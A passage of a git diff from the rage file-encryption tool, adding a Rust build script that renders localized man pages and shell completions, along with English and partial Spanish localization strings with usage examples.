+ } +} + +struct Example { + text: String, + commands: Vec, +} + +struct ExampleCommand { + cmd: &'static str, + output: Vec, +} + +impl Example { + const fn new(text: String) -> Self { + Self { + text, + commands: vec![], + } + } + + fn cmd(self, cmd: &'static str) -> Self { + self.cmd_out(cmd, vec![]) + } + + fn cmd_out(mut self, cmd: &'static str, output: Vec) -> Self { + self.commands.push(ExampleCommand { cmd, output }); + self + } +} + +struct Examples([Example; N]); + +impl Examples { + fn render(self, w: &mut impl io::Write) -> io::Result<()> { + let mut roff = Roff::default(); + roff.control("SH", [fl!("man-examples-heading").as_str()]); + for example in self.0 { + roff.control("TP", []); + roff.text( + [ + Inline::Roman(format!("{}:", example.text)), + Inline::LineBreak, + ] + .into_iter() + .chain(example.commands.into_iter().flat_map(|example| { + example + .cmd + .lines() + .enumerate() + .flat_map(|(i, line)| { + // For all lines except the last, append a `\` to concatenate. + // As `str::lines` is not an `ExactSizeIterator`, we "prepend" + // to the line after, prior to the separating line break. + (i != 0) + .then(|| [Inline::Bold(" \\".into()), Inline::LineBreak]) + .into_iter() + .flatten() + .chain(Some(Inline::Bold(format!( + "{} {}", + if i == 0 { '$' } else { ' ' }, + line + )))) + }) + .chain(Some(Inline::LineBreak)) + .chain( + example + .output + .into_iter() + .flat_map(|output| [Inline::Roman(output), Inline::LineBreak]), + ) + .chain(Some(Inline::LineBreak)) + })) + .collect::>(), + ); + } + roff.to_writer(w) + } +} + +#[derive(Clone)] +struct Cli { + rage: Command, + rage_keygen: Command, + #[cfg(feature = "mount")] + rage_mount: Command, +} + +impl Cli { + fn build() -> Self { + Self { + rage: rage::AgeOptions::command(), + rage_keygen: rage_keygen::AgeOptions::command(), + #[cfg(feature = "mount")] + rage_mount: rage_mount::AgeMountOptions::command(), + } + } + + fn generate_completions(&mut self, out_dir: &Path) -> io::Result<()> { + fs::create_dir_all(out_dir)?; + + for &shell in Shell::value_variants() { + generate_to(shell, &mut self.rage, "rage", out_dir)?; + generate_to(shell, &mut self.rage_keygen, "rage-keygen", out_dir)?; + #[cfg(feature = "mount")] + generate_to(shell, &mut self.rage_mount, "rage-mount", out_dir)?; + } + + Ok(()) + } + + fn generate_manpages(self, out_dir: &Path) -> io::Result<()> { + fs::create_dir_all(out_dir)?; + + fn generate_manpage( + out_dir: &Path, + name: &str, + see_also: &str, + cmd: Command, + custom: impl FnOnce(&Man, &mut GzEncoder) -> io::Result<()>, + ) -> io::Result<()> { + let file = fs::File::create(out_dir.join(format!("{}.1.gz", name)))?; + let mut w = GzEncoder::new(file, Compression::best()); + + let man = Man::new(cmd); + man.render_title(&mut w)?; + man.render_name_section(&mut w)?; + man.render_synopsis_section(&mut w)?; + man.render_description_section(&mut w)?; + man.render_options_section(&mut w)?; + custom(&man, &mut w)?; + ManpageSection::new(fl!("man-see-also-heading")) + .paragraph(see_also.into()) + .render(&mut w)?; + man.render_version_section(&mut w)?; + man.render_authors_section(&mut w) + } + + #[cfg(feature = "mount")] + let (rage_see_also, rage_keygen_see_also) = + ("rage-keygen(1), rage-mount(1)", "rage(1), rage-mount(1)"); + + #[cfg(not(feature = "mount"))] + let (rage_see_also, rage_keygen_see_also) = ("rage-keygen(1)", "rage(1)"); + + generate_manpage( + out_dir, + "rage", + rage_see_also, + self.rage + .about(fl!("man-rage-about")) + .long_about(fl!("man-rage-description")) + .mut_arg("output", |a| a.long_help(fl!("man-rage-flag-output"))) + .mut_arg("encrypt", |a| a.long_help(fl!("man-rage-flag-encrypt"))) + .mut_arg("recipient", |a| a.long_help(fl!("man-rage-flag-recipient"))) + .mut_arg("recipients_file", |a| { + a.long_help(fl!("man-rage-flag-recipients-file")) + }) + .mut_arg("passphrase", |a| { + a.long_help(fl!("man-rage-flag-passphrase")) + }) + .mut_arg("armor", |a| a.long_help(fl!("man-rage-flag-armor"))) + .mut_arg("decrypt", |a| a.long_help(fl!("man-rage-flag-decrypt"))) + .mut_arg("identity", |a| { + a.long_help(fl!("man-rage-flag-identity-decrypt")) + }) + .mut_arg("plugin_name", |a| { + a.long_help(fl!("man-rage-flag-plugin-decrypt")) + }) + .after_help(rage::after_help_content("rage-keygen")), + |_, w| { + ManpageSection::new(fl!("man-rage-recipients-and-identities-heading")) + .paragraph(fl!("man-rage-recipients-and-identities")) + .subheading(fl!("man-rage-native-x25519-keys-heading")) + .paragraph(fl!( + "man-rage-native-x25519-keys", + example_age_recipient = "age1gde3ncmahlqd9gg50tanl99r960llztrhfapnmx853s4tjum03uqfssgdh", + example_age_identity = + "AGE-SECRET-KEY-1KTYK6RVLN5TAPE7VF6FQQSKZ9HWWCDSKUGXXNUQDWZ7XXT5YK5LSF3UTKQ", + )) + .subheading(fl!("man-rage-ssh-keys-heading")) + .paragraph(fl!( + "man-rage-ssh-keys", + example_ssh_rsa = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDULTit0KUehbi[...]GU4BtElAbzh8=", + example_ssh_ed25519 = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9pO5pz22JZEas[...]l1uZc31FGYMXa", + )) + .subheading(fl!("man-rage-plugins-heading")) + .paragraph(fl!("man-rage-plugins")) + .render(w)?; + + Examples([ + Example::new(fl!("man-rage-example-single")) + .cmd_out( + "rage-keygen -o key.txt", + vec![format!( + "{}: age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p", + fl!("tty-pubkey") + )], + ) + .cmd("tar cvz ~/data | rage -r age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p > data.tar.gz.age") + .cmd("rage -d -o data.tar.gz -i key.txt data.tar.gz.age"), + Example::new(fl!( + "man-rage-example-enc-multiple", + input = "example.jpg", + output = "example.jpg.age" + )) + .cmd( + "rage -o example.jpg.age -r age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p\n \ + -r age1lggyhqrw2nlhcxprm67z43rta597azn8gknawjehu9d9dl0jq3yqqvfafg example.jpg", + ), + Example::new(fl!("man-rage-example-enc-list")) + .cmd_out( + "cat > recipients.txt", + vec![ + "# Alice".into(), + "age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p".into(), + "# Bob".into(), + "age1lggyhqrw2nlhcxprm67z43rta597azn8gknawjehu9d9dl0jq3yqqvfafg".into(), + ], + ) + .cmd("rage -R recipients.txt example.jpg > example.jpg.age"), + Example::new(fl!("man-rage-example-password")) + .cmd_out( + "rage -p secrets.txt > secrets.txt.age", + vec![ + fl!("autogenerated-passphrase"), + " release-response-step-brand-wrap-ankle-pair-unusual-sword-train".into(), + ], + ) + .cmd_out( + "rage -d secrets.txt.age > secrets.txt", + vec![format!("{}:", fl!("type-passphrase"))], + ), + Example::new(fl!("man-rage-example-identity-passphrase")) + .cmd_out( + "rage -p <(rage-keygen) > key.age", + vec![ + format!( + "{}: age1yhm4gctwfmrpz87tdslm550wrx6m79y9f2hdzt0lndjnehwj0ukqrjpyx5", + fl!("tty-pubkey") + ), + fl!("autogenerated-passphrase"), + " hip-roast-boring-snake-mention-east-wasp-honey-input-actress".into(), + ], + ) + .cmd("rage -r age1yhm4gctwfmrpz87tdslm550wrx6m79y9f2hdzt0lndjnehwj0ukqrjpyx5 secrets.txt > secrets.txt.age") + .cmd_out( + "rage -d -i key.age secrets.txt.age > secrets.txt", + vec![format!("{}:", fl!("type-passphrase"))], + ), + Example::new(fl!("man-rage-example-ssh")) + .cmd("rage -R ~/.ssh/id_ed25519.pub example.jpg > example.jpg.age") + .cmd("rage -d -i ~/.ssh/id_ed25519 example.jpg.age > example.jpg"), + Example::new(fl!("man-rage-example-yubikey")) + .cmd_out("age-plugin-yubikey", vec![format!("# {}", fl!("man-rage-example-yubikey-setup"))]) + .cmd( + "rage -r age1yubikey1qwt50d05nh5vutpdzmlg5wn80xq5negm4uj9ghv0snvdd3yysf5yw3rhl3t secrets.txt > secrets.txt.age", + ) + .cmd("rage -d -i age-yubikey-identity-388178f3.txt secrets.txt.age"), + Example::new(fl!("man-rage-example-enc-github")) + .cmd("curl https://github.com/benjojo.keys | rage -R - example.jpg > example.jpg.age"), + ]) + .render(w) + }, + )?; + generate_manpage( + out_dir, + "rage-keygen", + rage_keygen_see_also, + self.rage_keygen + .about(fl!("man-keygen-about")) + .long_about(fl!("man-keygen-description")) + .mut_arg("output", |a| a.long_help(fl!("man-keygen-flag-output"))) + .mut_arg("convert", |a| a.long_help(fl!("man-keygen-flag-convert"))), + |_, w| { + Examples([ + Example::new(fl!("man-keygen-example-stdout")).cmd_out( + "rage-keygen", + vec![ + format!("# {}: 2021-01-02T15:30:45+01:00", fl!("identity-file-created")), + format!( + "# {}: age1lvyvwawkr0mcnnnncaghunadrqkmuf9e6507x9y920xxpp866cnql7dp2z", + fl!("identity-file-pubkey"), + ), + "AGE-SECRET-KEY-1N9JEPW6DWJ0ZQUDX63F5A03GX8QUW7PXDE39N8UYF82VZ9PC8UFS3M7XA9".to_owned(), + ], + ), + Example::new(fl!("man-keygen-example-file", filename = "key.txt")).cmd_out( + "rage-keygen -o key.txt", + vec![format!( + "{}: age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p", + fl!("tty-pubkey") + )], + ), + Example::new(fl!("man-keygen-example-convert")).cmd_out( + "rage-keygen -y key.txt", + vec!["age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p".to_owned()], + ), + ]) + .render(w) + }, + )?; + #[cfg(feature = "mount")] + generate_manpage( + out_dir, + "rage-mount", + "rage-keygen(1), rage(1)", + self.rage_mount + .about(fl!("man-mount-about")) + .long_about(fl!("man-mount-description")) + .mut_arg("types", |a| { + a.long_help(fl!( + "man-mount-flag-types", + types = crate::rage_mount::TYPES, + )) + }) + .mut_arg("identity", |a| { + a.long_help(fl!("man-rage-flag-identity-decrypt")) + }), + |_, w| { + Examples([ + Example::new(fl!("man-mount-example-identity")) + .cmd("rage-mount -t tar -i key.txt encrypted.tar.age ./tmp"), + Example::new(fl!("man-mount-example-passphrase")).cmd_out( + "rage-mount -t zip encrypted.zip.age ./tmp", + vec![format!("{}:", fl!("type-passphrase"))], + ), + ]) + .render(w) + }, + )?; + + Ok(()) + } +} + +fn main() -> io::Result<()> { + // `OUT_DIR` is "intentionally opaque as it is only intended for `rustc` interaction" + // (https://github.com/rust-lang/cargo/issues/9858). Peek into the black box and use + // it to figure out where the target directory is. + let out_dir = match env::var_os("OUT_DIR") { + None => return Ok(()), + Some(out_dir) => PathBuf::from(out_dir) + .ancestors() + .nth(3) + .expect("should be absolute path") + .to_path_buf(), + }; + + // Generate the completions in English, because these aren't easily localizable. + i18n::load_languages(&[]); + Cli::build().generate_completions(&out_dir.join("completions"))?; + + // Generate manpages for all supported languages. + let manpage_dir = out_dir.join("manpages"); + for lang_dir in fs::read_dir("./i18n")? { + let lang_dir = lang_dir?.file_name(); + let lang: LanguageIdentifier = lang_dir + .to_str() + .expect("should be valid Unicode") + .parse() + .expect("should be valid language identifier"); + + // Render the manpages into the correct folder structure, so that local checks can + // be performed with `man -M target/debug/manpages BINARY_NAME`. + let mut out_dir = if lang.language.as_str() == "en" { + manpage_dir.clone() + } else { + let mut lang_str = lang.language.as_str().to_owned(); + if let Some(region) = lang.region { + // Locales for manpages use the POSIX format with underscores. + lang_str += "_"; + lang_str += region.as_str(); + } + manpage_dir.join(lang_str) + }; + out_dir.push("man1"); + + i18n::load_languages(&[lang]); + Cli::build().generate_manpages(&out_dir)?; + } + + Ok(()) +} diff --git a/lib/rage/rage/i18n.toml b/lib/rage/rage/i18n.toml new file mode 100644 index 0000000..40d065c --- /dev/null +++ b/lib/rage/rage/i18n.toml @@ -0,0 +1,4 @@ +fallback_language = "en-US" + +[fluent] +assets_dir = "i18n" diff --git a/lib/rage/rage/i18n/en-US/rage.ftl b/lib/rage/rage/i18n/en-US/rage.ftl new file mode 100644 index 0000000..ccc8368 --- /dev/null +++ b/lib/rage/rage/i18n/en-US/rage.ftl @@ -0,0 +1,500 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the rage CLI tools + +## Terms (not to be localized) + +-age = age +-age-plugin- = age-plugin- +-rage = rage +-rage-keygen = rage-keygen +-stdin = "-" +-recipient-prefix = age1 +-identity-prefix = AGE-SECRET-KEY-1 +-armor-pem-type = AGE ENCRYPTED FILE + +-rage-mount = rage-mount + +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-ssh-authorized-keys = authorized_keys +-dot-keys = .keys +-ssh = ssh(1) +-authorized-keys-file-format = AUTHORIZED_KEYS FILE FORMAT +-sshd = sshd(8) +-ssh-agent = ssh-agent(1) + +-example = example +-example-r = age1example1 +-example-i = AGE-PLUGIN-EXAMPLE-1 + +-yubikey = yubikey + +## CLI flags (not to be localized) + +-flag-armor = -a/--armor +-flag-decrypt = -d/--decrypt +-flag-encrypt = -e/--encrypt +-flag-identity = -i/--identity +-flag-output = -o/--output +-flag-recipient = -r/--recipient +-flag-recipients-file = -R/--recipients-file +-flag-passphrase = -p/--passphrase +-flag-plugin-name = -j +-flag-max-work-factor = --max-work-factor +-flag-unstable = --features unstable + +-flag-convert = -y + +-flag-mnt-types = -t/--types + +## Usage + +usage-header = Usage + +recipient = RECIPIENT +recipients-file = PATH +identity = IDENTITY +plugin-name = PLUGIN-NAME +input = INPUT +output = OUTPUT + +args-header = Arguments + +help-arg-input = Path to a file to read from. + +flags-header = Options + +help-flag-help = Print this help message and exit. +help-flag-version = Print version info and exit. +help-flag-encrypt = Encrypt the input (the default). +help-flag-decrypt = Decrypt the input. +help-flag-passphrase = Encrypt with a passphrase instead of recipients. +help-flag-max-work-factor = Maximum work factor to allow for passphrase decryption. +help-flag-armor = Encrypt to a PEM encoded format. +help-flag-recipient = Encrypt to the specified {recipient}. May be repeated. +help-flag-recipients-file = Encrypt to the recipients listed at {recipients-file}. May be repeated. +help-flag-identity = Use the identity file at {identity}. May be repeated. +help-flag-plugin-name = Use {-age-plugin-}{plugin-name} in its default mode as an identity. +help-flag-output = Write the result to the file at path {output}. + +rage-after-help-content = + {input} defaults to standard input, and {output} defaults to standard output. + If {output} exists, it will be overwritten. + + {recipient} can be: + - An {-age} public key, as generated by {$keygen_name} ({$example_age_pubkey}). + - An SSH public key ({$example_ssh_pubkey}). + + {recipients-file} is a path to a file containing {-age} recipients, one per line + (ignoring "#" prefixed comments and empty lines). {-stdin} may be used to + read recipients from standard input. + + {identity} is a path to a file with {-age} identities, one per line + (ignoring "#" prefixed comments and empty lines), or to an SSH key file. + Passphrase-encrypted {-age} identity files can be used as identity files. + Multiple identities may be provided, and any unused ones will be ignored. + {-stdin} may be used to read identities from standard input. + +rage-after-help-example = + Example: + {" "}{$example_a} + {" "}{tty-pubkey}: {$example_a_output} + {" "}{$example_b} + {" "}{$example_c} + +keygen-help-flag-output = {help-flag-output} Defaults to standard output. +keygen-help-flag-convert = Convert an identity file to a recipients file. + +## Formatting + +warning-msg = Warning: {$warning} + +## Keygen messages + +tty-pubkey = Public key +identity-file-created = created +identity-file-pubkey = public key + +## Encryption messages + +autogenerated-passphrase = Using an autogenerated passphrase: +type-passphrase = Type passphrase +prompt-passphrase = Passphrase + +warn-double-encrypting = Encrypting an already-encrypted file + +## General errors + +err-failed-to-open-input = Failed to open input: {$err} +err-failed-to-open-output = Failed to open output: {$err} +err-failed-to-read-input = Failed to read from input: {$err} +err-failed-to-write-output = Failed to write to output: {$err} +err-identity-ambiguous = {-flag-identity} requires either {-flag-encrypt} or {-flag-decrypt}. +err-mixed-encrypt-decrypt = {-flag-encrypt} can't be used with {-flag-decrypt}. +err-passphrase-timed-out = Timed out waiting for passphrase input. +err-same-input-and-output = Input and output are the same file '{$filename}'. + +err-ux-A = Did {-rage} not do what you expected? Could an error be more useful? +err-ux-B = Tell us +# Put (len(A) - len(B) - 32) spaces here. +err-ux-C = {" "} + +## Encryption errors + +err-enc-broken-stdout = Could not write to stdout: {$err} +rec-enc-broken-stdout = Are you piping to a program that isn't reading from stdin? + +err-enc-broken-file = Could not write to file: {$err} + +rec-enc-missing-recipients = Did you forget to specify {-flag-recipient}? + +err-enc-mixed-identity-passphrase = {-flag-identity} can't be used with {-flag-passphrase}. +err-enc-mixed-recipient-passphrase = {-flag-recipient} can't be used with {-flag-passphrase}. +err-enc-mixed-recipients-file-passphrase = {-flag-recipients-file} can't be used with {-flag-passphrase}. +err-enc-passphrase-without-file = File to encrypt must be passed as an argument when using {-flag-passphrase}. + +err-enc-plugin-name-flag = {-flag-plugin-name} can't be used with {-flag-encrypt}. + +## Decryption errors + +err-detected-powershell-corruption = It looks like this file was corrupted by PowerShell redirection. +rec-detected-powershell-corruption = Consider using {-flag-output} or {-flag-armor} to encrypt files in PowerShell. + +rec-dec-excessive-work = To decrypt, retry with {-flag-max-work-factor} {$wf} + +err-dec-armor-flag = {-flag-armor} can't be used with {-flag-decrypt}. +rec-dec-armor-flag = Note that armored files are detected automatically. + +err-dec-missing-identities = Missing identities. +rec-dec-missing-identities = Did you forget to specify {-flag-identity}? +rec-dec-missing-identities-stdin = Did you forget to provide the identity over standard input? + +err-dec-mixed-identity-passphrase = {-flag-identity} can't be used with passphrase-encrypted files. + +err-mixed-identity-and-plugin-name = {-flag-identity} can't be used with {-flag-plugin-name}. + +err-dec-passphrase-flag = {-flag-passphrase} can't be used with {-flag-decrypt}. +rec-dec-passphrase-flag = Note that passphrase-encrypted files are detected automatically. + +err-dec-passphrase-without-file-win = + This file requires a passphrase, and on Windows the + file to decrypt must be passed as a positional argument + when decrypting with a passphrase. + +err-dec-recipient-flag = {-flag-recipient} can't be used with {-flag-decrypt}. +err-dec-recipients-file-flag = {-flag-recipients-file} can't be used with {-flag-decrypt}. +rec-dec-recipient-flag = Did you mean to use {-flag-identity} to specify a private key? + +## rage-mount strings + +mnt-filename = FILENAME +mnt-mountpoint = MOUNTPOINT +mnt-types = TYPES + +help-arg-mnt-filename = The encrypted filesystem to mount. +help-arg-mnt-mountpoint = The directory to mount the filesystem at. +help-arg-mnt-types = Indicates the filesystem type (one of {$types}). + +info-decrypting = Decrypting {$filename} +info-mounting-as-fuse = Mounting as FUSE filesystem + +err-mnt-missing-filename = Missing filename. +err-mnt-missing-mountpoint = Missing mountpoint. +err-mnt-missing-types = Missing {-flag-mnt-types}. +err-mnt-unknown-type = Unknown filesystem type "{$fs_type}" + +## Unstable features + +test-unstable = To test this, build {-rage} with {-flag-unstable}. + +## rage manpage + +recipients = RECIPIENTS +identities = IDENTITIES + +man-rage-about = A simple, secure, and modern encryption tool + +man-rage-description = + {-rage} encrypts or decrypts {input} to {output}. The {input} argument is + optional and defaults to standard input. Only a single {input} file may be + specified. If {-flag-output} is not specified, {output} defaults to standard + output. + + If {-flag-passphrase} is specified, the file is encrypted with a passphrase + requested interactively. Otherwise, it's encrypted to one or more + {recipients} specified with {-flag-recipient} or + {-flag-recipients-file}. Every recipient can decrypt the file. + + In {-flag-decrypt} mode, passphrase-encrypted files are detected automatically + and the passphrase is requested interactively. Otherwise, one or more + {identities} specified with {-flag-identity} are used to decrypt the file. + + {-age} encrypted files are binary and not malleable, with around 200 bytes of + overhead per recipient, plus 16 bytes every 64KiB of plaintext. + +man-rage-flag-output = + Write encrypted or decrypted file to {output} instead of standard output. + If {output} already exists it will be overwritten. + + If encrypting without {-flag-armor}, {-rage} will refuse to output binary to a + TTY. This can be forced by specifying {-stdin} as {output}. + +man-rage-encryption-options = Encryption options + +man-rage-flag-encrypt = + Encrypt {input} to {output}. This is the default. + +man-rage-flag-recipient = + Encrypt to the explicitly specified {recipient}. See the + {man-rage-recipients-and-identities-heading} section for possible recipient + formats. + + This option can be repeated and combined with other recipient flags, + and the file can be decrypted by all provided recipients independently. + +man-rage-flag-recipients-file = + Encrypt to the {recipients} listed in the file at {recipients-file}, one per + line. Empty lines and lines starting with "#" are ignored as comments. + + If {recipients-file} is {-stdin}, the recipients are read from standard + input. In this case, the {input} argument must be specified. + + This option can be repeated and combined with other recipient flags, + and the file can be decrypted by all provided recipients independently. + +man-rage-flag-passphrase = + Encrypt with a passphrase, requested interactively from the terminal. + {-rage} will offer to auto-generate a secure passphrase. + + This option can't be used with other recipient flags. + +man-rage-flag-armor = + Encrypt to an ASCII-only "armored" encoding. + + {-age} armor is a strict version of PEM with type "{-armor-pem-type}", + canonical "strict" Base64, no headers, and no support for leading and + trailing extra data. + + Decryption transparently detects and decodes ASCII armoring. + +man-rage-flag-identity-encrypt = + Encrypt to the {recipients} corresponding to the {identities} listed in the + file at {identity}. This is equivalent to converting the file at {identity} + to a recipients file with '{-rage-keygen} {-flag-convert}' and then passing that to + {-flag-recipients-file}. + + For the format of {identity}, see the definition of {-flag-identity} in the + {man-rage-decryption-options} section. + + {-flag-encrypt} must be explicitly specified when using {-flag-identity} + in encryption mode to avoid confusion. + +man-rage-flag-plugin-encrypt = + Encrypt using the data-less plugin {plugin-name}. + + This is equivalent to using {-flag-identity} with a file that contains a + single plugin {identity} that encodes no plugin-specific data. + + {-flag-encrypt} must be explicitly specified when using {-flag-plugin-name} + in encryption mode to avoid confusion. + +man-rage-decryption-options = Decryption options + +man-rage-flag-decrypt = + Decrypt {input} to {output}. + + If {input} is passphrase encrypted, it will be automatically detected + and the passphrase will be requested interactively. Otherwise, the + {identities} specified with {-flag-identity} are used. + + ASCII armoring is transparently detected and decoded. + +man-rage-flag-identity-decrypt = + Decrypt using the {identities} at {identity}. + + {identity} may be one of the following: + + a. A file listing {identities} one per line. Empty lines and lines starting + with "#" are ignored as comments. + + b. A passphrase encrypted age file, containing {identities} one per + line like above. The passphrase is requested interactively. Note that + passphrase-protected identity files are not necessary for most use cases, + where access to the encrypted identity file implies access to the whole + system. + + c. An SSH private key file, in PKCS#1, PKCS#8, or OpenSSH format. + If the private key is password-protected, the password is requested + interactively only if the SSH identity matches the file. See the + {man-rage-ssh-keys-heading} section for more information, including + supported key types. + + d. {-stdin}, causing one of the options above to be read from standard input. + In this case, the {input} argument must be specified. + + This option can be repeated. Identities are tried in the order in which are + provided, and the first one matching one of the file's recipients is used. + Unused identities are ignored, but it is an error if the {input} file is + passphrase-encrypted and {-flag-identity} is specified. + +man-rage-flag-plugin-decrypt = + Decrypt using the data-less plugin {plugin-name}. + + This is equivalent to using {-flag-identity} with a file that contains a + single plugin {identity} that encodes no plugin-specific data. + +man-rage-recipients-and-identities-heading = RECIPIENTS AND IDENTITIES +man-rage-recipients-and-identities = + {recipients} are public values, like a public key, that a file can be encrypted + to. {identities} are private values, like a private key, that allow decrypting + a file encrypted to the corresponding {recipient}. + +man-rage-native-x25519-keys-heading = Native X25519 keys +man-rage-native-x25519-keys = + Native {-age} key pairs are generated with {-rage-keygen}(1), and provide small + encodings and strong encryption based on X25519. They are the recommended + recipient type for most applications. + + A {recipient} encoding begins with "{-recipient-prefix}" and looks like the + following: + + {" "}{$example_age_recipient} + + An {identity} encoding begins with "{-identity-prefix}" and looks like the + following: + + {" "}{$example_age_identity} + + An encrypted file can't be linked to the native recipient it's encrypted to + without access to the corresponding identity. + +man-rage-ssh-keys-heading = SSH keys +man-rage-ssh-keys = + As a convenience feature, {-rage} also supports encrypting to RSA or Ed25519 + {-ssh} keys. RSA keys must be at least 2048 bits. This feature employs more + complex cryptography, and should only be used when a native key is not available + for the recipient. Note that SSH keys might not be protected long-term by the + recipient, since they are revokable when used only for authentication. + + A {recipient} encoding is an SSH public key in "{-ssh-authorized-keys}" format + (see the "{-authorized-keys-file-format}" section of {-sshd}), starting with + "{-ssh-rsa}" or "{-ssh-ed25519}", like the following: + + {" "}{$example_ssh_rsa} + {" "}{$example_ssh_ed25519} + + The comment at the end of the line, if present, is ignored. + + In recipient files passed to {-flag-recipients-file}, unsupported but valid + SSH public keys are ignored with a warning, to facilitate using + "{-ssh-authorized-keys}" or GitHub "{-dot-keys}" files. (See {man-examples-heading}.) + + An {identity} is an SSH private key _file_ passed individually to + {-flag-identity}. Note that keys held on hardware tokens such as YubiKeys + or accessed via {-ssh-agent} are not supported. + + An encrypted file _can_ be linked to the SSH public key it was encrypted to. + This is so that {-rage} can identify the correct SSH private key before + requesting its password, if any. + +man-rage-plugins-heading = Plugins +man-rage-plugins = + {-rage} can be extended through plugins. A plugin is only loaded if a corresponding + {recipient} or {identity} is specified. (Simply decrypting a file encrypted with + a plugin will not cause it to load, for security reasons among others.) + + A {recipient} for a plugin named "{-example}" starts with "{-example-r}", while an + {identity} starts with "{-example-i}". They both encode arbitrary plugin-specific + data, and are generated by the plugin. + + When either is specified, {-rage} searches for {-age-plugin-}{-example} in the PATH + and executes it to perform the file header encryption or decryption. The plugin + may request input from the user through {-rage} to complete the operation. + + Plugins can be freely mixed with other plugins or natively supported keys. + + A plugin is not bound to only encrypt or decrypt files meant for or generated by + the plugin. For example, a plugin can be used to decrypt files encrypted to a + native X25519 {recipient} or even with a passphrase. Similarly, a plugin can + encrypt a file such that it can be decrypted without the use of any plugin. + + Plugins for which the {identity}/{recipient} distinction doesn't make sense + (such as a symmetric encryption plugin) may generate only an {identity} and + instruct the user to perform encryption with the {-flag-encrypt} and + {-flag-identity} flags. Plugins for which the concept of separate identities + doesn't make sense (such as a password-encryption plugin) may instruct the user + to use the {-flag-plugin-name} flag. + +man-examples-heading = EXAMPLES + +man-rage-example-single = Generate a new identity, encrypt data, and decrypt +man-rage-example-enc-multiple = Encrypt {$input} to multiple recipients and output to {$output} +man-rage-example-enc-list = Encrypt to a list of recipients +man-rage-example-password = Encrypt and decrypt a file using a passphrase +man-rage-example-identity-passphrase = Encrypt and decrypt with a passphrase-protected identity file +man-rage-example-ssh = Encrypt and decrypt with an SSH public key +man-rage-example-yubikey = Encrypt and decrypt with {-age-plugin-}{-yubikey} +man-rage-example-yubikey-setup = Run interactive setup, generate identity file and obtain recipient. +man-rage-example-enc-github = Encrypt to the SSH keys of a GitHub user + +man-see-also-heading = SEE ALSO + +## rage-keygen manpage + +man-keygen-about = Generate age-compatible encryption key pairs + +man-keygen-description = + {-rage-keygen} generates a new native {-age} key pair, and outputs the identity to + standard output or to the {output} file. The output includes the public key and + the current time as comments. + + If the output is not going to a terminal, {-rage-keygen} prints the public key to + standard error. + +man-keygen-flag-output = + Write the identity to {output} instead of standard output. + + If {output} already exists, it is not overwritten. + +man-keygen-flag-convert = + Read an identity file from {input} or from standard input and output the + corresponding recipient(s), one per line, with no comments. + +man-keygen-example-stdout = Generate a new identity +man-keygen-example-file = Write a new identity to "{$filename}" +man-keygen-example-convert = Convert an identity to a recipient + +## rage-mount manpage + +man-mount-about = Mount an {-age} encrypted filesystem + +man-mount-description = + {-rage-mount} decrypts the {-age} encrypted filesystem at {mnt-filename} on the + fly, and mounts it as a directory on the local filesystem at {mnt-mountpoint}. + + Passphrase-encrypted files are detected automatically and the passphrase is + requested interactively. Otherwise, one or more {identities} specified with + {-flag-identity} are used to decrypt the file. + + The previous contents (if any) and owner and mode of {mnt-mountpoint} become + invisible, and as long as this filesystem remains mounted, the pathname + {mnt-mountpoint} refers to the root of the filesystem on {mnt-filename}. + +man-mount-flag-types = + Set the filesystem type. The following types are currently supported: {$types}. + + This option is required. {-rage-mount} does not attempt to guess the filesystem + format. + + In theory, any efficiently-seekable filesystem format can be supported. At + present, {-rage-mount} only supports seekable archive formats. + +man-mount-example-identity = Mounting an archive encrypted to a recipient +man-mount-example-passphrase = Mounting an archive encrypted with a passphrase diff --git a/lib/rage/rage/i18n/es-AR/rage.ftl b/lib/rage/rage/i18n/es-AR/rage.ftl new file mode 100644 index 0000000..712dd0c --- /dev/null +++ b/lib/rage/rage/i18n/es-AR/rage.ftl @@ -0,0 +1,166 @@ +# Copyright 2020 Jack Grigg +# +# Licensed under the Apache License, Version 2.0 or the MIT license +# , at your +# option. This file may not be copied, modified, or distributed +# except according to those terms. + +### Localization for strings in the rage CLI tools + +## Terms (not to be localized) + +-age = age +-age-plugin- = age-plugin- +-rage = rage +-rage-keygen = rage-keygen +-stdin = "-" +-recipient-prefix = age1 +-identity-prefix = AGE-SECRET-KEY-1 +-armor-pem-type = AGE ENCRYPTED FILE + +-rage-mount = rage-mount + +-ssh-rsa = ssh-rsa +-ssh-ed25519 = ssh-ed25519 +-ssh-authorized-keys = authorized_keys +-dot-keys = .keys +-ssh = ssh(1) +-authorized-keys-file-format = AUTHORIZED_KEYS FILE FORMAT +-sshd = sshd(8) +-ssh-agent = ssh-agent(1) + +-example = example +-example-r = age1example1 +-example-i = AGE-PLUGIN-EXAMPLE-1 + +-yubikey = yubikey + +## CLI flags (not to be localized) + +-flag-armor = -a/--armor +-flag-decrypt = -d/--decrypt +-flag-encrypt = -e/--encrypt +-flag-identity = -i/--identity +-flag-output = -o/--output +-flag-recipient = -r/--recipient +-flag-recipients-file = -R/--recipients-file +-flag-passphrase = -p/--passphrase +-flag-plugin-name = -j +-flag-max-work-factor = --max-work-factor +-flag-unstable = --features unstable + +-flag-convert = -y + +-flag-mnt-types = -t/--types + +## Usage + +usage-header = Usage + +recipient = RECIPIENT +recipients-file = PATH +identity = IDENTITY +plugin-name = PLUGIN-NAME +input = INPUT +output = OUTPUT + +rage-after-help-content = + {input} por defecto a standard input, y {output} por defecto standard output. + + {recipient} puede ser: + - Una clave pública {-age}, como es generada por {$keygen_name} ({$example_age_pubkey}). + - Una clave pública SSH ({$example_ssh_pubkey}). + + {recipients-file} es una ruta a un archivo que contenga un destinatario {-age} por línea + (ignorando comentarios con el prefijo 